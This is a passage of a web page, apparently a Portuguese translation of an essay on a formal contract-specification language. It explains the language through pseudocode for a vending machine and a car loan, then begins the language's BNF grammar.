&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>also display(&lt;span style="color:#e6db74">&amp;#34;ready to dispense -- please select candy&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> &lt;span style="color:#66d9ef">when&lt;/span> (candySelection)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>dropCandy(candyRacks, candySelection)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with dropCoins(tempTill, permTill)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with moneyAmount &lt;span style="color:#f92672">=&lt;/span> $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">00&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>continue
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Introduzimos aqui um novo recurso de linguagem, uma variável de estado.
Nossa variável de estado moneyAmount gera um evento ao ultrapassar o
limite de preço de doces de $0,90. Observe que nickel [moeda de 5
centavos], dime [moeda de 10 centavos], etc. são objetos físicos
reais que os sensores (gerando eventos &amp;ldquo;nickel&amp;rdquo;, &amp;ldquo;dime&amp;rdquo; etc.) detectam e
tratam separadamente &amp;ndash; não são apenas quantias abstratas de dinheiro.&lt;/p>
&lt;p>Variáveis de estado podem ser problemáticas e devem ser evitadas, a
menos que seja absolutamente necessário, como aqui. Esta é relativamente
inofensiva porque o slot de moedas tende a forçar as moedas a entrar uma
de cada vez, de modo que não há duas cláusulas tentando alterar a
variável de estado ao mesmo tempo. Mesmo se fossem, a operação de adição
é o que os matemáticos chamam de &amp;ldquo;comutativo&amp;rdquo;, o que significa que não
importa em que ordem é feita. Mas se a operação na variável de estado
fosse mais complicada ou envolvesse certos outros tipos de operações,
não saberíamos se seria comutativo. A ordem em que os eventos ocorreram
e alteraram a variável de estado pode importar muito, e poderíamos ter
grandes problemas. Portanto, evite variáveis de estado sempre que
possível.&lt;/p>
&lt;p>Para simplificar, deixamos de fazer troco- nossa máquina precisa ter um
desses sinais que você vê às vezes, &amp;ldquo;somente troco exato&amp;rdquo;. Se o cliente
coloca uma moeda que empurra o valor de, por exemplo, $0,80 a $1,05 &amp;ndash;
lamento, a máquina o come. Se o cliente colocar US $ 0,90 (ou mais) e
adicionar mais moedas, no entanto, a máquina retornará automaticamente
as moedas extras. A máquina também retornará tudo o que foi colocado no
caixa, se o cliente mudar de idéia e decidir não comprar o doce.
Exercício para o leitor: verifique por si mesmo que as descrições de
comportamento acima estão corretas conforme o código é escrito.&lt;/p>
&lt;p>RedirectNewCoinsTo(returnTill) faz com que outras moedas caiam na rampa
de retorno em vez de no sensor que aciona os eventos acima. O leitor
deve aqui imaginar como é o mecanismo, pois parte do comportamento é
&amp;ldquo;codificada&amp;rdquo; em seu mecaninismo, e não explicitamente nesta afirmação.&lt;/p>
&lt;p>Pense nos contratos e direitos aninhados como uma árvore invertida &amp;ndash;
uma hierarquia de cláusulas aninhadas. Os eventos se propagam de cima
das &amp;ldquo;folhas&amp;rdquo; da árvore em direção à &amp;ldquo;raiz&amp;rdquo; no topo. Eles são pegos pelo
primeiro evento when que encontram para aquele evento. Nesse caso, uma
vez inserida a cláusula when threshold(), a cláusula when (nickel |
dime | quarter) substitui as cláusulas when (nickel) e assim por diante
acima delas.&lt;/p>
&lt;p>Como uma perpetuidade, nossa máquina de venda automática não tem horário
ou condição agendada para a execução &amp;ndash; portanto, temos uma instrução
continue para substituir o implícito then terminate na última linha.&lt;/p>
&lt;p>Infelizmente, nem eu nem os fabricantes de máquinas de doces do mundo
real temos nenhum código para resolver o caso em que os doces ficam
presos na máquina.&lt;/p>
&lt;p>Acima está uma transcrição do comportamento da máquina. Agora,
tornaremos ainda mais como um contrato. Aqui, incorporamos o cliente e
suas escolhas, que geraram implicitamente os eventos das moedas no
código acima &amp;ndash; aqui as moedas são direitos do Titular. Pensar mais na
parte, e não na máquina, nos permite reconhecer que, a cada passo, o
cliente deseja feedback sobre quanto dinheiro investiu, assim, to
Counterparty display(moneyAmount). Essa exibição é feita pelo Titular (a
máquina de venda automática como um agente do fornecedor) como um
direito da Contraparte (o cliente). Para permitir uma melhor escolha do
cliente, adicionamos uma nova construção à nossa linguagem:
choiceOf(agent, right), que permite ao cliente várias opções, com base
no direito que ele deseja transferir para a contraparte do agente (aqui
a máquina de venda, o Detentor).&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>sellCandy(candyPrice &lt;span style="color:#f92672">=&lt;/span> $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">90&lt;/span>) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>variable moneyAmount &lt;span style="color:#f92672">=&lt;/span> $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">00&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># coins also fall into a temporary till tempTill&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Counterparty&lt;/span>, nickel)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">TempTill&lt;/span> nickel
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> to &lt;span style="color:#66d9ef">Counterparty&lt;/span> add(moneyAmount, $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">05&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> to &lt;span style="color:#66d9ef">Counterparty&lt;/span> display(moneyAmount)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Counterparty&lt;/span>, dime)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">TempTill&lt;/span> dime
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> to &lt;span style="color:#66d9ef">Counterparty&lt;/span> add(moneyAmount, $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> to &lt;span style="color:#66d9ef">Counterparty&lt;/span> display(moneyAmount)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Counterparty&lt;/span>, quarter)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">TempTill&lt;/span> quarter
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> to &lt;span style="color:#66d9ef">Counterparty&lt;/span> add(moneyAmount, $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">25&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> to &lt;span style="color:#66d9ef">Counterparty&lt;/span> display(moneyAmount)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Counterparty&lt;/span>, moneyReturn)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Counterparty&lt;/span> dropCoins(tempTill, returnTill)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with moneyAmount &lt;span style="color:#f92672">=&lt;/span> $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">00&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> to &lt;span style="color:#66d9ef">Counterparty&lt;/span> display(moneyAmount)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> threshold(moneyAmount, candyPrice)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> (nickel &lt;span style="color:#f92672">|&lt;/span> dime &lt;span style="color:#f92672">|&lt;/span> quarter)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">CounterParty&lt;/span> redirectNewCoinsTo(returnTill)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>also display(&lt;span style="color:#e6db74">&amp;#34;ready to dispense -- please select candy&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> &lt;span style="color:#66d9ef">when&lt;/span> (candySelection)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Counterparty&lt;/span> dropCandy(candyRacks, candySelection)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with to &lt;span style="color:#66d9ef">PermanentTill&lt;/span> dropCoins(&lt;span style="color:#66d9ef">TempTill&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with moneyAmount &lt;span style="color:#f92672">=&lt;/span> $0&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#ae81ff">00&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>continue
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Como é que especificamos o comportamento de uma máquina de venda
automática em uma linguagem projetada para a elaboração de contratos? As
moedas de 5, 10 e 25 centavos, e as operações como jogar moedas de uma
gaveta para outra podem ser pensadas como direitos e obrigações? Eu acho
que sim. Eles não são direitos e obrigações legais, com certeza. Não há
contrato explícito entre o fornecedor e os clientes da máquina de doces
e, se fosse o caso, provavelmente renunciaria à responsabilidade por
violar a maioria das cláusulas em nosso código. O que este código
descreve é o comportamento lógico e típico de uma máquina de venda
automática. Ele também reifica o entendimento implícito que muitos
clientes têm ao usar uma máquina de venda automática. Assim, ele modela
um &amp;ldquo;encontro de mentes&amp;rdquo; semelhante ao contrato entre o cliente e o
fornecedor, mediado pela máquina.&lt;/p>
&lt;p>Aqui está uma facada na descrição formal do hipotético &amp;ldquo;auto repo auto&amp;rdquo;.
O carro é controlado por um proplet e ele analisa os títulos de
propriedade para determinar a autoridade de propriedade. O proplet
permite que apenas o proprietário intitulado entre e conduza o carro.
&amp;ldquo;Titular&amp;rdquo; é o banco que fez o empréstimo e &amp;ldquo;Contraparte&amp;rdquo; é o novo
proprietário. Como acima, ignoramos o vendedor de carros; o banco
originalmente dono do carro. Este exemplo destaca a capacidade do idioma
de descrever sucintamente contratos, mas também sua incapacidade de
descrever a segurança real que aplicará o contrato. Obviamente, falta
muito aqui, incluindo os itens que faltam no contrato de empréstimo de
carro acima. Do ponto de vista de contratos inteligentes, a principal
coisa que falta é que não há nada para motivar o &amp;ldquo;Holder getTitle (car)&amp;rdquo;
no último when, nem qualquer maneira especificada aqui para aplicá-lo.
E, é claro, toda conexão entre propriedade e autoridade para entrar, dar
partida e dirigir o carro está aqui implícita &amp;ndash; o comportamento real do
proplet a esse respeito teria que levar em conta a segurança, o uso de
emergência, etc.&lt;/p>
&lt;p>Durante todo esse trabalho, na verdade, apenas adicionamos uma cláusula
ao nosso contrato de compra de carro acima. A cláusula perde o título e
está estruturada como as cláusulas de dano que vimos. Um evento
breachedPerformance() é gerado se for detectado (pelo Titular, por um
auditor de terceiros ou pelo proplet) que a Counterparty falhou em
efetuar um pagamento de acordo com o cronograma especificado pelo loan
[empréstimo].&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>loan(payment, schedule) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> schedule
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(schedule&lt;span style="color:#f92672">.&lt;/span>next)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>payment
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>carPurchase(car, downPayment, monthlyPayment, schedule) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Counterparty&lt;/span> getTitle(car) with to &lt;span style="color:#66d9ef">Holder&lt;/span> downPayment
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> loan(monthlyPayment, schedule)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> breachedPerformance(loan)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> getTitle(car)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="nota-técnica----uma-sintaxe-legível-por-computador">Nota Técnica &amp;ndash; Uma Sintaxe Legível por Computador&lt;/h2>
&lt;p>Aqui está uma especificação formal da gramática da linguagem em
&amp;ldquo;Backus-Naur Form&amp;rdquo; (BNF). A especificação é para uma versão planejada e
legível por computador da linguagem e existem algumas pequenas
diferenças, como o uso de colchetes {} em vez de guias para indicar o
aninhamento. O BNF é usado para definir o que os linguistas chamam de
&amp;ldquo;gramáticas sem contexto&amp;rdquo;. Também é usado, como aqui, para definir a
sintaxe dos idiomas que os computadores também podem interpretar e
executar. Também incluo mais algumas discussões sobre os significados
das palavras e estruturas, especialmente sobre como o computador pode
interpretá-las. Como você pode ver, essa é uma linguagem em evolução, um
trabalho em andamento com muitos problemas não resolvidos. Suas
sugestões para alterar ou adicionar mais tipos de termos contratuais ao
nosso idioma são bem-vindas.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>agent &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">Holder&lt;/span> &lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#66d9ef">Counterparty&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## faz com que o contrato pareça diferente em cada lado&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>period &lt;span style="color:#f92672">=&lt;/span> (startTime,finishTime)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># period é a janela dentro da qual o desempenho deve ser&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># executado, por exemplo uma opção europeia deve ser exercida&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># entre o início e o fim do dia útil em que&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># expira.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#66d9ef">for&lt;/span> periodIterator &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span> &lt;span style="color:#f92672">...&lt;/span>periodIterator&lt;span style="color:#f92672">.&lt;/span>next&lt;span style="color:#f92672">...&lt;/span> &lt;span style="color:#e6db74">&amp;#34;}&amp;#34;&lt;/span>&lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#66d9ef">then&lt;/span> &lt;span style="color:#f92672">...&lt;/span> periodIterator&lt;span style="color:#f92672">.&lt;/span>next&lt;span style="color:#f92672">...]*&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># direitos executados em ordem temporal.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># sequência de períodos usados como entradas para a sequência de eventos withinPeriod(p).&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># isso pode ser, mais geralmente, um iterador de eventos? mas os períodos têm&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># uma ordem natural, enquanto outros tipos de eventos podem ocorrer em qualquer ordem.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># cada periodIterator.next gera um evento capturado pelo&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># próximo tempral event (withinPeriod() se o iterador gerar&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># períodos, aftertime() ou beforeTime() se gerar horas)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># *down [baixo]* do *for [para]*. O &amp;#34;lançamento&amp;#34; implícito ocorre em periodIterator.next&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># para que ainda possamos vê-lo, apenas por pouco, como propagando&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># o &amp;#34;lançamento&amp;#34;.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># (isso é diferente da semântica normal de eventos em que lançamentos&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># propagam *up [para cima]* na árvore de análise) -- devo alterá-lo para *up [cima]*&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># e reescrever o código do iterador de agendamento acima? mas me confunde&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># e talvez o comutador a colocá-lo *outside [fora]* do loop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>event &lt;span style="color:#f92672">=&lt;/span> choiceOf(agent) &lt;span style="color:#f92672">|&lt;/span> withinPeriod(period) &lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>performed(right) &lt;span style="color:#f92672">|&lt;/span> breachedPerformance(right) &lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>threshold(amount,threshold) &lt;span style="color:#f92672">|&lt;/span> afterTime(time) &lt;span style="color:#f92672">|&lt;/span> beforeTime(time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>right &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">throw&lt;/span> event at &lt;span style="color:#f92672">[&lt;/span> contract &lt;span style="color:#f92672">|&lt;/span> right&lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">|&lt;/span> passEvent(&lt;span style="color:#f92672">[&lt;/span>right &lt;span style="color:#f92672">|&lt;/span> contract&lt;span style="color:#f92672">]&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># gera um evento a ser capturado pelo contrato ou direito especificado.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># se contrato ou direito não for especificado, o primeiro when(event) parente&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># é acionado.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>right &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">throw&lt;/span> event at &lt;span style="color:#f92672">[&lt;/span> contract &lt;span style="color:#f92672">|&lt;/span> right&lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">|&lt;/span> passEvent(&lt;span style="color:#f92672">[&lt;/span>right &lt;span style="color:#f92672">|&lt;/span> contract&lt;span style="color:#f92672">]&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># gera um evento a ser capturado pelo contrato ou direito especificado.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># se contrato ou direito não for especificado, o primeiro when(event) parente&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># é acionado.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># apenas use when withinPeriod (whenWritten, time)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># right = doBefore time {right}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># semanticamente equivalente:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Holder right = O Counterparty obligation&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>right &lt;span style="color:#f92672">=&lt;/span> getTitle(property)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># transferir título da propriedade do devedor para o credor&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># consulte http://nakamotoinstitute.org/secure-property-titles/&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>right &lt;span style="color:#f92672">=&lt;/span> null
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>right &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#f92672">[&lt;/span> &lt;span style="color:#66d9ef">when&lt;/span> event &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span> right &lt;span style="color:#e6db74">&amp;#34;}&amp;#34;&lt;/span> &lt;span style="color:#f92672">]*&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## visualize um &amp;#34;ponteiro de instruções&amp;#34; que&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## segue aninhamento e eventos à medida que ocorrem.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## pode haver mais de um ponteiro de instrução&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
